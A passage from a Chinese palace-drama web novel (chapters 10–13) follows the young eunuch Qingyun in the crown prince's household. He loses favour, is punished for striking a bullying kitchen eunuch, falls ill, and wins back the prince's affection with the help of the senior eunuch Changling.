可太规矩的,太子也不喜欢。 长龄在心中轻声道。 长龄见卿云小小的人站在木桶旁,只比木桶略高上小半个身子,看着又倔又可怜,便直接把人抱了起来放进木桶。 卿云在热水里轻轻瑟缩了一下,他是在东宫才生平第一次洗上的热水澡,不,他不想离开东宫,更不想失宠,他抬手抓住了长龄的手,“长龄公公,太子会赶我走吗?” 他神色凄惶,看样子是真的怕了,长龄道:“不会的。” 卿云此时害怕,也到底城府不深,不由说出了真心话,“那会让我去下房住吗?”他紧紧地抓着长龄的手,“他们都不喜欢我,会欺负我的。” 长龄听了他这孩子气十足的话,不由笑了,“放心,这个地方我做主,你且安心住着吧。” 卿云听了他这话,也只安心了一半,心下仍是凄楚,太子对他召之即来挥之即去也就罢了,毕竟他是主子,可长龄算什么,他竟还要讨好攀附另一个太监吗? 卿云心中痛楚,几乎一夜未眠,听得长龄起身,也顾不得假装正好睡,连忙也跟着起身,他想去见太子,一是探探太子的口风,二是想要弥补一二,他方掀开被子要下床,长龄就拢着衣服过来按住了他的肩膀。 “睡吧。” “时辰差不多了,”卿云道,“该去伺候太子晨起了。” 长龄的手仍按在卿云肩头,卿云那悬在半空中的心随着他的手劲逐渐沉了下去…… “太子说,这两日先不用你伺候了。” “咚——” 一颗心直沉谷底,卿云脑海中“嗡”的一声,浑身都瘫软了。 10. 第十回 “宫里头得宠失宠,那都是一夕之间的事,从云端到地底,叫人反应不及,一夜之间,就什么都变了,宫里便冷清起来……皇上……您为何忽然不宠爱臣妾了……” 惠妃哀怨疯狂的脸又浮现在了卿云眼前,一双幽深怨毒的眼睛直在他的脑海中转个不停。 他已经五日没在太子跟前伺候了。 头一日,卿云以为太子是小惩大诫,还期盼着第二日能去赔罪,尽管他也不知道自个儿到底犯了什么罪,可到后来他才明白了过来,原来他同惠妃一样,是失宠了。 长龄说太子事忙,太子一忙起来,就不喜欢身边有人待着。 卿云能说什么?他知道求长龄也没用,只默默忍受了,总不能学惠妃那般发疯吧? 卿云沉住了气,不沉住气也不行,否则只能叫旁人看笑话,他如今和长龄独住一屋,只要他不出去,倒还可以免去那些冷眼讥笑,只是长龄却也陡然忙碌了起来,晨起离开后,一直要到深夜才回。 长龄这儿什么都好,便是什么都要自取,吃的喝的,也不会有人平白送来,卿云午间等不到长龄回来,只好自去膳房。 太监们消息灵通得很,卿云方才失宠,膳房里的太监们就开始对他不复从前,真如惠妃所说,宫里的人全都是见风使舵、捧高踩低的,但凡落下去,不知多少人急着来踩上一脚。 “哟,这不是卿云小公公吗?” 太监冲他作揖,笑嘻嘻道:“给您请安了。” 卿云板着脸充耳不闻,直去拿桌上的一碟馒头,他的手才伸出去,立刻被人压住了,“诶?这是什么意思?” 卿云抬眼,“什么什么意思?” “急赤白脸的就拿我们膳房的东西,卿云小公公,没这规矩吧?” 卿云道:“我要用膳。” 那太监懒懒道:“用膳的时辰已经过了。” 卿云知他这是故意刁难,又认出那太监的声音,便是那日在背后编排他的人当中一个,心中不愿,却也只能冷冷道:“倘若长龄来取,你也这般对他说吗?” “好个刁货,”那太监阴笑了一下,放开手,后退了两步,目光从上往下打量了卿云,又冲着一旁另一个太监道,“果然人生得标致,出路便是多。” 另一个太监不愿掺和这事,啐了一口,“要饶舌便出去饶舌,没得拖人下水惹是非。” 那太监哈哈笑了两声,“就知道你是怕了,也是,长龄公公的人,谁能不给……哎哟——” 随着瓷器破裂的声响,那小太监痛得往后退了两步,一抬手摸到额头伤处,眼睛登时直了,血!他凶神恶煞地抬起脸,却见卿云手攥着碟子边缘的碎片,小脸冰冷地瞧着他。 卿云心里头总有一股挥之不去的恶气,那日福海眼中邪念闪动时,他心中几乎是冷笑着感到了一种畅快,因他终于可以名正言顺地去出了那口恶气。 他想杀了福海,想一刀捅进福海的肚子,再将拿刀拔出来捅入福海的眼眶,将他那一双贱招子给挑出来,狠狠地用鞋底踩上一脚。 “你敢打我?!” 东宫规矩大,太监们私底下纵有龃龉,顶多也就是打打嘴仗,互相在饭食里吐两口唾沫,再怎么也不会动起手来,这要闹上去,可要小心被赶出东宫,这小太监素日脾气急躁,惯会尖酸,也不是单对卿云,便是这个性子,只没闹出过事来罢了,未料卿云人生得娇弱,却是个狠的。 “好、好、好……” 那太监连说了三声好,扭头望向其余众人,“你们可都瞧见了,我可什么都没说,青天白日的,竟就这么动起手来了!东宫可没这样的规矩!” “算了算了,”有人劝道,“得全说得有理,你若不饶舌,怎会惹是非?” “别。” 另外那小太监拔腿就走,“我可忙去了,别扯上我。” 其余小太监也都不愿惹事,纷纷回避。 那受伤的小太监见没人支援,又心里省得卿云到底是还和长龄住在一块儿,只能暂且咬牙忍下,冲卿云脚下重重啐了一口,肩膀用力撞了卿云,率先走了出去。 卿云手里攥着瓷器碎片,掌心也被划伤了,一地的碎瓷片就堆在他脚下,他也不管,扔了碎瓷片,重又拿了碟馒头走人。 身后小太监嘀嘀咕咕,抱怨地收拾残局。 回到屋里,卿云这才浑身都垮了下来。 如若不是他还住在长龄这里,今日怕是不能善了。 卿云面上一丝一毫的神情都没有了,冷冰冰的,既像木偶,又像瓷人,没有半点生气。 他这日子就这么过下去了吗?能这么过下去吗?倘若哪天长龄将他赶到下房,那他就真的全完了。 卿云虽未曾真正与太监同住过,可早已从惠妃那里将宫中最黑暗恐怖之处都听了个遍,再兼瑞春死于非命在前,福海欺辱在后,他心中深知若真落到那般境地,他想要保全自己是断断不能的。 卿云浑身一阵阵发冷,他忽然又想起瑞春,瑞春说他将他锁在玉荷宫里其实是为护着他,外头的风霜雨雪不是他能经受得住的,他保不住他。 他不信。 卿云抱紧自己。 他偏不信! * “殿下,这是三月的账。” “搁这儿吧。” 长龄将账册放下,垂首静立,不知过了多久,听得太子轻轻的搁笔声。 “你把这些供到母后那去。” “是。” 长龄捧了那几卷经,躬身站着,轻声道:“殿下,是全供在凤仪殿,还是分些在听凤池?” 李照侧过脸,他轻瞥了长龄一眼,见长龄低眉顺眼一如往日,方道:“你什么时候也学会在我这儿耍心眼了?” 长龄腰弯得更甚,“奴才不敢。” 李照往后仰了,漫声道:“下去吧。” 长龄低着头退了出去,出了殿内,方才轻出了口气,又斜着脸看向天边高悬的太阳,又轻叹了口气。 伴在太子身边多年,长龄自认已算是对太子性情有所把握,在太子面前该如何当差,也只能拿捏个六七分,太子仁厚是不假,可再仁厚的主子也是主子。 如今太子对卿云到底是什么意思,长龄也摸不准,方才已算是大着胆子提了一提,太子的反应应当并非真的厌弃卿云。 长龄去宫中办完了差事,因心里记挂着卿云,便急急地返回东宫。 这几日他早出晚归,盖因手头事情忽然变多,他心里想着大约是太子的意思,不令他和卿云多话,他估摸着揣度上意,于是便顺服听从,不与卿云多说。 卿云这几日强撑着惊惶害怕,长龄也都看在眼里,他没对卿云说过假话,太子要亲自调教人,他是不好插手的,万一适得其反,岂不是害人害己? 只是长龄早晚进出,总瞧见卿云眼睛来来回回地盯着他,想问又不敢问的模样,心里到底不忍,那分不忍从初见时,卿云昏沉沉半死地躺在那儿,便从长龄久久掩埋的心事中破土,叫他不由乱了些许方寸。 长龄回到东宫,犹豫片刻,想着先去回了太子,再试着告假回去,若太子允准,那便是没事了。 长龄一路向了承恩殿过去,远远的便瞧见殿门口廊檐下跪着个人,那人身形单薄瘦小,不是卿云是谁?! 长龄疾步过去,近前了才放缓脚步,他余光悄然瞥了一眼地上跪着的卿云,只见他低垂着脸,侧脸雪白,一双手垂在身侧,指尖正点在地上,似是有些跪不住,长龄目不斜视地掠过他,待到殿门口,眼神扫了旁边太监。 那太监会意,悄然过去,恭恭敬敬地唤了声:“长龄公公。” 长龄道:“这是怎么了?” 那太监道:“奴才犯错,太子殿下让他跪在那儿思过。” 长龄眉头轻皱,“是太子殿下让他跪的?” “是。” 长龄偏过脸远远地又看了一眼卿云,“他犯了什么错?” “这奴才倒不知。” “跪了多久了?” “也有一个时辰了。” 长龄眉头皱紧,这不正是他进宫之后,卿云便被罚跪在那儿了? 长龄不再多言,缓步进了殿内,想参见太子,却被拦住,“太子正在里头午睡。” “外头怎么回事?”长龄轻声问道,“你可别像思齐似的糊弄我。” 那太监道:“哪敢呢,”他向后轻瞥了一眼幽深的内殿,低声道:“方才太子正要午睡,才伺候梳洗的小太监里有个额头上沾了伤,太子查问之后,方知是那小奴才捣鬼,在膳房里对人动了手,太子唤了他来问话,也不知他是怎么回的,太子便让他跪在外头醒醒神。” 长龄一听便知不对,“他既伤了脸,怎么还能到太子跟前伺候?” 那太监讳莫如深地笑了笑。 长龄见状,又问道:“是哪个太监?” “膳房的小太监,来喜。” 长龄闻言,立即严肃起来,他看向那太监,那太监的神情却是一切尽在不言中了。 一个膳房的小太监,照理是不可能到太子跟前的,必定是有人故意把人带来,长龄也不再多查问,他身处东宫多年,心里明白纵使东宫上下规矩严明,也难免有些明争暗斗。 长龄叫了膳房的太监问话,将午间那档子事问得清楚了,心中暗道卿云实在太过冲动,这可真是犯了太子的大忌讳了。 长龄一时也不知该怎么出手救人,只能在殿中等着太子午睡醒来,他时不时地看向跪在廊檐下的人,心里揪着,却又无可奈何。 又过了小半个时辰,伺候梳洗的太监们悄无声息地来了,长龄瞥眼过去,倒未曾见到那受伤的来喜,为首的太监冲长龄行了个礼,“长龄公公好。” 长龄回礼,他瞥了队伍,道:“安公公什么时候调教了新人,我倒不知。” 安公公不接长龄的话茬,只压低了声笑道:“太子该醒了吧?” 长龄也不作声了。 如此又过了些许时候,殿内有了动静,安公公带着人鱼贯而入,长龄也不能近前,等到安公公出来之后,才请求进殿。 殿内小太监出来传话,却不是对长龄说,只向长龄行了个礼,而是碎步到了卿云面前,一板一眼道:“太子问你,知错了吗?” 长龄回眸望去,卿云人已跪得摇摇欲坠,两只手都撑在了地上,却听他冷冷回道:“我没错。” 11. 第十一回 太子召见,卿云自是欣喜,想太子终于是消了气,想起他来了! 卿云跟着传话的太监来到偏殿,太子已换了轻薄衣衫,坐在床前,面色如常,正拿着一方帕子擦手。 卿云连忙行礼,“参见太子殿下。” 他久久不听太子召唤,便试探着自己慢慢抬起头来,这一抬头不要紧,他看到了太子右侧那额头被他打伤的太监,他心中一紧,神色也变了。 “殿下,”卿云故作镇定道,“不知召我来所为何事?” 李照早察觉卿云视线,只是不理,想他瞧了屋内形势,便会自己请罪。 李照当然明白这受伤的小太监是有人故意带来他眼前,这是另一桩事,现下要紧的是卿云犯了错,且是大错,在宫里头一言不合就动起手来,没这样的规矩,只他没料到卿云竟好似不知自己犯了什么错似的。 “你,”李照分出一点耐心,“知错吗?” 卿云一颗心又揪紧了,他咬紧了牙,到底忍下了,轻声道:“太子,您莫听那恶人先告状,是他为难于我,我气不过,这才……” “你气不过?” 太子平淡的语气令卿云不由一怔,他仰头看着太子,分明还是那张脸,还是那日替他主持公道的模样,此时却叫卿云心中比那时还要飘忽不定,心中有股说不清的惶恐正在摇曳。 “出去跪着思过。” 太子就这么淡淡的一句,卿云满脑子浆糊一般,他看向那个被他打伤的太监,那太监低眉顺眼,如今看着却是老实了。 卿云不肯就这么出去,急急地分辩道:“太子殿下,是他阻了我拿吃食在前,又言语羞辱我在后,太子殿下明鉴,若非如此,我断断不会动手!” 这便是卿云在太子面前说的最后一句了,他方才说完,旁边太监不用太子吩咐,只一个眼神便上来一左一右架着卿云出去。 卿云还想辩解,却见那受伤的小太监悄悄地一勾嘴角,正是得意,他便咬着牙不肯说了,宁愿去外头跪着。 四月的天,说冷不算冷,说热日头上来了倒还真有几分热浪袭来,卿云跪在地上,背上晒,膝盖疼都是次要,如此大庭广众地受辱才真叫他心中万分煎熬。 殿外立着的侍卫太监们自是不会多看,可卿云就是觉着他们人人都在看他的笑话。 得宠了没几日,就为自己出了口气,太子竟如此罚他。 前段时日方对太子生出的几分感激之情烟消云散,卿云心中一股恨意翻涌,又委屈又难过,暗骂自己真是瞎了眼!怎会以为太子是真喜欢他,待他好。这宫里头原没有好人,他怎么就忘了?! 他心里头想不通太子为何要这般对他,却忽的觉察到了视线,待到那视线流转,卿云手撑在地上,方瞧见前头长龄的身影。 这下好了。 太子罚他,长龄正可落井下石,打蛇随棍上,他今日怕是真要完了。 卿云心灰了一大半,摇摇欲坠地还不肯熄,就这么跪着,想要转圜,却想不出什么转圜的道理计策,他心中不觉得自己做错,可太子觉得他错,为今之计也只有认错罢了,忍下这气再说。 等人出来问话,他正想要服软,却又觉察到长龄视线在他身上绕着,心中也不知怎么,一下起了心思,硬邦邦地回了句“我没错”。 那问话太监大吃一惊,他反问道:“你想好了么?” 卿云此时硬气话已出了口,再要回转,更是不能,便只不说话。 那太监抽了两口冷气,不敢拿这话去回太子,只把声音压得低低的,仅两人听见,“说你糊涂,你还真糊涂了,你是什么身份?一个奴才,还跟太子置上气了吗?你也不想想,谁把你从鬼门关里救出来的,就凭这一桩,你为太子死了也是值当的,怎还敢如此拿腔捏调!” 卿云心中怨愤,想的却是那日纵使李照不来,他也自有法子脱身,浑不知他那杀人抛尸的法子实际后患无穷,绝难成事,他心里不服,又不愿拿出当日敷衍福海的本事来,敷衍福海,那是为了要福海的命,今日敷衍太子……那也是为了救自己的命…… 卿云心下一通百通,然而胸中那股忧愤之气却是不能排解,他眼中泪珠儿摇摇欲坠,心中好恨,方要张嘴,两片嘴唇抖着,像是黏住了一般,不能言语。 长龄远远瞧着,也顾不得了,只向殿内喊了一声,“长龄参见太子殿下。” 这一声将一众太监侍卫们都惊着了,也都不敢动静,片刻之后,太子终于从殿内出来了。 长龄一见太子,立即下跪行礼,口中道:“回禀太子,奴才已将那些经放在了凤仪殿。” 李照目光从长龄身上掠过,看向了殿外的卿云。 卿云跪得久了,难以支撑,此时又心中忧愤,半个身子都伏在了地上,青色太监服勾勒着他单薄的身子,如一片小小的翠羽依托在地上。 李照径直走了过去,问话太监已提前让到了一边。 卿云瞧见金丝锦绣的靴尖停在面前,胸中翻涌,眼中泪珠再也熬不住,“啪”的一声打在缎面上。 “知错了吗?” 太子的声音轻轻淡淡,叫人辨不出喜怒。 卿云没有回话,只一味伏趴着,眼泪滴滴答答地流。 李照原没注意,低头瞧见靴尖颜色濡深了,这才眉头轻皱,俯身手擒了卿云的下巴抬起,却见卿云一张小脸泪水弥漫,眼眶被泪水浸透,都睁不开了。 李照放下手,直起身,他俯视着卿云垂落下去的脑袋,“瞧瞧,好一个有志气的奴才,自己犯了错不认,倒像是孤给他委屈受了。” 长龄立即膝行过去,伏拜道:“请太子殿下恕罪,都是奴才管教不力。” “也怪不得你,”李照道,“这奴才原是孤亲自调教的。” 长龄头低得更甚,“殿下事忙,拨冗调教了这奴才一二,是他天大的福分,却是这奴才不受教,还请太子殿下莫要为这奴才动气,卿云——”长龄轻轻唤道,“还不快认罪!” 卿云也想认罪,可他似是上回险些被勒死时落下了病根,此时情绪翻涌才察觉,他喉咙里像是被堵住了似的疼,却是一个字都说不出来,伏在地上的手掌深深蜷了,他伸手抓住太子长袍一角紧紧攥着,仰头,只觉太子的面容在他面前一片模糊,想要张嘴求一个转折,一张口却是“哇”的一声,呕出了一团黄水,全喷在太子鞋面上,随即整个人便软倒一侧,昏死了过去。 “卿云!” 长龄大惊失色,却不敢扑上去,忙磕了个头,“太子殿下恕罪,卿云、卿云他毕竟还小……伤也没好全……” 李照也没料到他不过罚卿云跪着思过,卿云竟会昏死过去,再看他小脸惨白,竟是要被逼死的模样,他当下也听不见长龄说什么了,厉声喝道:“传太医!” 一旁侍卫闻言,立即下去传人。 “都愣着做什么么?”李照道,“还不快把人抬进去!” 侍卫太监们一阵忙乱,上前七手八脚地抬了卿云进殿,李照袖子甩在长龄面前,示意他起身跟上,又指挥了侍卫们,“把他放到偏殿榻上。” “他伤还未好全?” 李照回身问跟上来的长龄。 长龄道:“外头的皮肉伤看着是好了,只是他年纪小,里头伤到的,一时难养。” 李照面色沉沉,懒得与长龄较真,他知道长龄这是夸大了故意在替卿云求情,可人昏死过去确是眼前发生的事。 太医来了,诊脉后回禀太子,说卿云是“脏腑气机逆乱,气血亏虚”,待他开几服药煎用,再调理一阵时日,慢慢便会见好了。 李照听罢,冷笑一声,道:“可真是个好奴才,跟主子置气,倒把自己给气死。” 长龄正跪在地上替太子换鞋,听他语气,忙道:“太子殿下,您当日救下卿云,便知他是个性情刚烈的,又自小无人管教,稀里糊涂的小孩子罢了,前段日子,他总欢天喜地的,说到了东宫就一辈子有了倚靠,心里头对太子殿下您哪敢有半分不敬呢,您是他天大的恩人,可正因如此,您罚他,比旁人欺他辱他要更伤他百倍千倍。” 李照瞥眼过去,“你莫要为他说话,他受了欺负,大可以告了你去,你难道还会不替他做主?分明是野性难驯、恃宠而骄,东宫里的规矩,要为他一个人坏了吗?好歹我只宠了他几日,要是再多加恩宠,岂不是要翻了天去?这东宫里谁叫他不痛快,他就打杀了谁?” 长龄连忙跪下,“是,奴才不懂事,殿下您莫动气,可若说翻天打杀,这卿云是万万不敢的,实在是……”长龄一咬牙,他不想让东宫里任何一个太监受罪,可到此地也无法了,“太子殿下您也知道,卿云在外头险些受了欺辱,是您救了他脱困,可来喜还专挑戳他心窝子的话来说,也不是奴才偏帮,实在是这脏水冲着奴才来了,奴才也不得不帮卿云分辩几句,他听了那样的话,怎么还好向奴才求救?岂不是叫旁人话说得更难听?” 有些话,不必说明,李照立时听明白了,他语气低沉下去,“当真?” 长龄磕了个头。 “殿下,奴才所说句句属实,不敢有半句欺瞒,您是知道的,奴才从不妄言他人,来喜口出狂悖之言,污蔑奴才与卿云,若叫旁人听去,奴才受辱是小,东宫被污才真叫坏了东宫的规矩。” 李照知道长龄嘴里不会有瞎话,脸色也渐渐沉了下去。 这时,里头小太监出来,“殿下,卿云醒了。” 李照动也不动,长龄跪在地上,心中惴惴,却见视线中衣袂翻飞,太子起身进偏殿去了。 卿云醒来,便觉胸膛里一颗心突突的跳,喉中肿痛难当,双眼朦胧,快要分不清他这到底身在何处。 李照见他神色凄迷,小脸方才养出了点血色又煞白一片,他轻叹了口气,心道怎么这般不懂事,人过去坐下,手掌摸了摸卿云凉浸浸的额头,低声道:“现下知道错了吗?” 一声询问在卿云耳中宛若惊雷,他一下什么都想起来了,立即转过脸,仰头看到太子不辨喜怒的面容,眨了下眼,张口,却是粗粝如沙,丝丝渗血,“奴才……知错了……” “错哪了?”李照道。 卿云现下尚未回过神,只觉全身乏累难当,脑子里也昏昏沉沉的,可本能地还是想活,便强撑道:“奴才……惹太子……生气了……” “知道孤为何生气吗?” 卿云定定地望着李照,他不知道,他真的不知道,也还是真的不服气。 李照道:“罢了,长龄——” 长龄连忙起身进入内殿。 “你带他回去休养,莫再生事。” “是。” 长龄一挥手,两个健壮的太监上来,一左一右搀了卿云下榻,卿云浑身都是软的,任由他们摆布,出了承恩殿后,长龄忙又支使了两人,四人前后抬着卿云回去了。 12.第十二回 这回休养,卿云心静了不少,说静也不是静,只是想明白了一些事,要不说听了再多道理也没用,凡事到底非亲历不能懂,惠妃说的那些,也许他还未领教万分之一呢。 卿云枯躺在床上,嘴里阵阵发苦,他喉咙肿得厉害,喘气都难受,恨不能把头砍了另放一处。 小太监端着药进来,“卿云小公公,该喝药了。” 药已晾凉了,一气喝下去,卿云也觉不出苦不苦,反正嘴里就那个味道。 小太监是长龄派来的,专来给卿云煎药,端茶送饭。 卿云大闹承恩殿的事早已传遍东宫,尤其是他们这些做太监的,小太监照顾卿云几日,觉着卿云实在是恃宠而骄。 什么人有这样天大的福气,又是住这好地方,吃喝不愁还有人伺候,这奴才都快当成主子了,就这样还要同太子大吵大闹,果真是人心不足蛇吞象。 小太监也只敢腹诽,端着药碗出去,又端来饭食,长龄公公特意嘱咐的,要给卿云做些细软的粥,怕他嗓子疼咽不下去。 卿云用完了饭,又饮水漱口,吐出来,水里还掺杂着血丝,小太监见了,到底也起了些许恻隐之心,低声道:“你这福气也是够大的了,太子虽生气,到底没有真罚你,你想开些吧。” 卿云脸上神情木木的不搭理他,小太监讨了个没趣,端着碗走了。 日头逐渐西移,窗外光影渐暗,卿云痴痴地看着,他并非小太监说的那般想不开,这几日他也一直在劝说安慰自个儿,想想在玉荷宫里的日子,在东宫说是神仙日子也不为过,他还有什么不知足的? 既挨了罚,也要长进才是,否则不是白受了这些罪? 屋外脚步声轻轻,卿云听出那是长龄回来了,而不是照顾他的那个小太监。 那小太监伺候他,心不甘情不愿,每回来,脚步声都踩得重重的,带着怨气。这便不对,心中有怨,怎能这么轻易叫人察觉? 门推开,长龄便瞧见半躺在床上的卿云,他轻叹了口气,端着药上前,先细细凝视了卿云憔悴的病容,便又叹了口气坐下,“喉咙还疼着呢?” 卿云轻轻看向长龄。 他从昏迷中醒来后便是由那小太监照顾,那小太监也不知道是不是长龄故意找来的,自己不好说,让旁人在他面前绘声绘色地说着长龄如何把他救回来。 是了,他便是这般要人救来救去,非得他对他们都感恩戴德不成。主仆二人一个唱红脸一个唱白脸,好,很好。 卿云摇了摇头,冲长龄露出个浅淡的微笑。 长龄见状,不由伸手摸了摸他瘦削的脸颊,“先喝药。” 在长龄这儿喝了药之后,还有颗蜜糖吃,清清凉凉的,说是太医院里配的,对卿云的嗓子恢复也有好处。 长龄又打了水来替卿云擦身,卿云现在身子虚,经不得热水沐浴。 “太子今日问起你了,”长龄知道卿云想听什么,他低声道,“殿下罚你,也是为了你好,小错不罚,一味宠着你纵着你,待你犯了大错,才真叫不可收拾。” 卿云伏趴着不言语,他双眼默默地瞧着蜡烛,心里反复想的还是他到底错在哪。 闹这一桩事,长龄也明白了卿云虽生得娇柔,性子却是极刚烈的,有什么道理也只能缓缓软和说与他听,或许能听进一二,可他能如此哄着,太子却不会这般,卿云这个性子若是不改,日后怕是要死在这上头。 长龄下了狠心,继续道:“我知你心里委屈,兴许还怨上了太子。”他说着,脸朝前探去,瞧卿云的脸色毫无变化,他又轻叹了口气,“没有奴才怨主子的,”长龄语气平静和缓,“雷霆雨露,皆是君恩,你若能参透这八个字,你就还有转圜,你若想不通,死路也就近在眼前了。” 长龄把话说得那样明白,卿云身上终于颤了颤,他转过脸,与长龄在烛光中对望了。 “太子,今日真的问起我了吗?” 卿云的声音较之先前更粗哑了几分,长龄听着心疼,点头道:“是,今日太子用午膳时问了一句。” 卿云垂下眼,他如今说话还是疼得难受,然面上不显,缓缓道:“太子还是心疼我的。” “你这么想就对了,”长龄面上露出喜色,“太子若不心疼你,怎会问起你?待你好了,再去太子跟前赔个罪,太子宽仁,这事就算这么过去了。” 太子宽仁。 这话,卿云自入东宫以来不知听了多少遍。 他回忆太子在殿前立在他面前的模样,他抬头看不清他的模样,只觉得他犹如高高在上的神明一般,也如地底索命的恶鬼阎罗,一句话便可以定他的生死,不,都不用一句话,太子一个眼神,自会有人替他动手。 “你如今最紧要的就是养好身子,也别多想了,”长龄拂了下卿云的头发,“年纪轻轻的,总是这一副灰心神情,还怎么得了?” 待到长龄也洗漱完,熄了蜡烛躺下,屋内静悄悄的,长龄这才轻轻说了一句。 “来喜被赶出东宫,回了掖庭局。” 卿云原正平躺着,闻言猛地侧过身子望向黑暗中的长龄。 长龄不再多言,只道:“睡吧。” * 如此卿云养了足足二十来天,这才算好全了,长龄也未曾食言,他一好,立即就带他去见了太子赔罪。 卿云进去恭恭敬敬地磕头,“奴才参见太子殿下。” 李照在宫里不爱端着,就这么随意地屈起一条腿,斜躺在软榻上,手里捧着一卷书,他瞧也不瞧卿云,只淡淡道:“好了?” “托殿下的福,奴才已好全了。” 李照这才瞥眼过去,见卿云跪在榻下,人小小一团,似乎比之前还瘦了许多,便道:“过来我瞧瞧。” 卿云站起身,移步靠近。 “抬起头来。” 卿云迟疑了一会儿,慢慢抬起了脸,眼睛却并不直视李照。 李照就这么打量着卿云,人的确是瘦了,好似比他初见卿云时更瘦,原本就是一张巴掌大的小脸,痩了之后,更显得楚楚。 李照心里还是喜爱这个小太监的,小太监伶俐逗趣,言语有时没顾忌,却也贵在真实可爱,如今这副乖顺模样,倒叫李照心里不爽快,是真的知错改了性子,还是拗着性子变着法儿跟他赌气? “你休养了这么些日子,可想明白自己错在哪了?”李照道。 二十几天的功夫,长龄一直旁敲侧击,卿云听着也明白了他的意思。 太子是喜欢他的,可太子喜欢他哪,要他自己揣摩,揣摩上意,这四个字说来简单,却是刀尖上起舞的事,一不小心便是万劫不复。 若他想保全自己,唯有本分听话,或可平平安安,就这么一直过下去,在东宫当个安分奴才也就是了。这些话到底是长龄自己想说的,还是太子命他说的? 卿云先跪下,眼向上看,重又对上了李照的视线,李照原本平静的面容微微有了变化,那变化极其微小,便是着力窥探的卿云也险些错过。 “奴才不知,”卿云小脸绷得紧紧的,“奴才不受调教,是奴才笨,太子若厌弃,只管将我赶回玉荷宫就是。”他说到最后,眼中又溢出一点泪花,垂下脸重重嗑了个头,“多谢太子殿下救命之恩,今生不能,只得来世再报。” 卿云头嗑在地上 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卿云眼朝着李照脸上瞧,李照的笑容在卿云心里已不再可信,但李照单手正搂着他,他便知李照这是真正气消了,这会子是在逗他,他就该当个乐子,于是软声道:“我忍不得。” 李照道:“所以就砸人的脑袋?” 卿云心下一紧,说到触怒李照的事,他不能只一味撒娇卖痴了,面露愧色道:“这事是我错了。” “哦?”李照饶有兴致道,“哪错了?” “再怎么也不该动手伤人,开了这坏头,别人若是效仿了,可就真乱了东宫的规矩。” 李照面上神情缓缓肃下来,“这是你自己想的,还是长龄教你的?” 卿云冲着李照轻轻一笑,“是太子你教我的。” 李照笑了笑,手指刮了下卿云的喉咙,小太监生得小巧,喉结都找不着,“还疼不疼?” “不疼了。” “我听你声音比先前更哑了。” 卿云垂头不语。 李照目光打量着他,心里也暗暗叹了口气,奴才嘛,要调教也不是一日两日的功夫,那些言行举止都挑不出半点错处的奴才东宫还少吗? 难得有个这样的,他又何必急着逼他规矩?不正喜他那点“不守规矩”吗? 这么想着,李照收回了手,道:“以后在我身边伺候,也多长点眼色。” 卿云模模糊糊地意识到李照是在说那天他给他奉茶端点心的事,他到现在也还未明白为何李照那天忽然翻了脸,就冷落了他,也只能应了声“是”,应声之后,他又抬脸,怯生生地看着李照。 “太子殿下,日后我哪里做错了,您便指出来,我会改的。” 李照莞尔,“是么?那跪在殿外犟嘴说自己没错的,又是谁?” 卿云面红红地垂下脸,看着真像是知道错了。 李照那日心烦,一是为政事,二是恼卿云不懂看眼色,还没规矩,事后也明白自己那时是迁怒了,实也未对卿云真生出什么气来,和个奴才置气,犯不着,待得来喜那件事,李照原只想小惩大诫,连同那事一并教了卿云,没料他会这般烈性。 这烈性是叫人恼,却也叫人怜,这几日卿云不在身边,李照倒真觉着好似少了些什么,眼前全是泥塑木雕般的人,怪沉闷的。 李照手抚了下卿云的脸颊,“休养这么些时日,怎么还瘦了?” “没得太子赏赐,所以瘦了。” 李照笑道:“你还讨起赏来了。” 卿云歪头笑着看向李照,像是全然忘了先前如何在李照面前气得昏死过去,还是那般孩子气的做派,“那太子殿下赏是不赏?” 李照淡淡一笑,“赏。” 13.第十三回 春去夏来,转眼间天便热了起来,卿云换上送来的新制夏衣,里外都是上好的绸缎,穿在身上清凉滑爽,十分适宜。 长龄打量道:“我瞧你好似长高了些,这袖子是照你前头尺寸定的,短了吧?” 卿云撩了下袖子,“是短了一些,凑合穿吧。” “怎么能算了,”长龄道,“赶明儿我让内直局的人来一趟,替你重新量过了再裁制几身。” 卿云犹豫道:“会不会太过靡费?” 长龄笑道:“怎么会,你如今可是太子跟前最受宠爱的内侍,一点料子靡费什么。” 长龄说完,笑容渐渐浅淡下来,神色中现出些许复杂,如今卿云可比刚来时要沉稳多了,这变化让长龄不由感到心酸,可这是没法子的事,也是好事。 自那回闹了一场后,卿云虽受了些罪,可回到太子身边后,确是比先前更受宠爱,卿云自然知道自己受宠,一点绸缎算不得什么,去伺候太子时特意把袖子往上悄悄提了提,太子果然瞧见了,问道:“袖子怎么短了?” “这是新制的夏衣,”卿云假作不知,露出个欢喜的笑模样,“清凉舒爽得很。” 李照见他如此,也一向知道他有些糊涂不知事,便也不再多言,待到晚间传了长龄。 “上月的账我懒得瞧了,你来说说吧。” 长龄便垂首将东宫上个月的消耗支出和各项收益都言简意赅地说得清清楚楚。 “我听着宫里钱粮并不紧张,怎么还缺衣少食的呢?” 长龄到底跟在太子身边多年,料理东宫事务也有三四年了,立即便明白了太子的意思,他也不辩解,行了个礼道:“太子恕罪,奴才马上去办。” 李照对长龄一向放心,毕竟长龄和他的情分也不同,他温和道:“我并不是责怪你。” “奴才知道,”长龄道,“是奴才办事出了疏漏,太子就是责罚也是应当的。” 李照沉默片刻,笑了笑,道:“你这软和性子要是分他一半,我也能省心不少。” 长龄也笑了,“奴才不能讨太子欢心。” “你呀。” 李照念了一声,道:“你身上这夏衣是去岁旧的吧?” “旧的穿着舒服。” “嗯。” 李照也喜穿旧衣,长龄的许多习惯都是向李照学的。 “那你去办吧,多制两身,他是孩子心性,喜好穿新衣裳。” “是。” 长龄出去便亲自去了趟内直局,如此交待一番,内直局的典服仔细听了,听完之后,笑道:“除了你,我这儿可还是头一回替太监制衣,还制出了岔子,我真是该打脸了。” “哪的话,”长龄道,“小孩子长得快,算什么岔子。” 典服笑道:“小小的人,福气倒是不小,我听说长得很标致,是吗?” “人的确是个标致人,不过咱们太子的眼光哪会就那般俗气呢。” 典服微一颔首,“是了,能得太子如此宠爱,必是有过人之处。” 两人又寒暄了一会儿,长龄这才回去,他推开门便见卿云散着头发正在梳理,湿发又长又密,他梳得很吃力。 “你洗头了?”长龄笑道。 卿云回眸,也冲长龄笑了笑,“是呀,太子总摸我的头发,总不好污了太子的手。” “是我疏忽了,”长龄一面说一面合上门,过来接了卿云手里的梳子,轻轻地帮他梳头,“该给你找个小太监帮你打理。” “这可折煞我了,哪还那么金贵,用得着叫人伺候呢。” 长龄把手里的梳子递过去,打趣道:“好吧,那我不伺候你了,你自己来吧。” 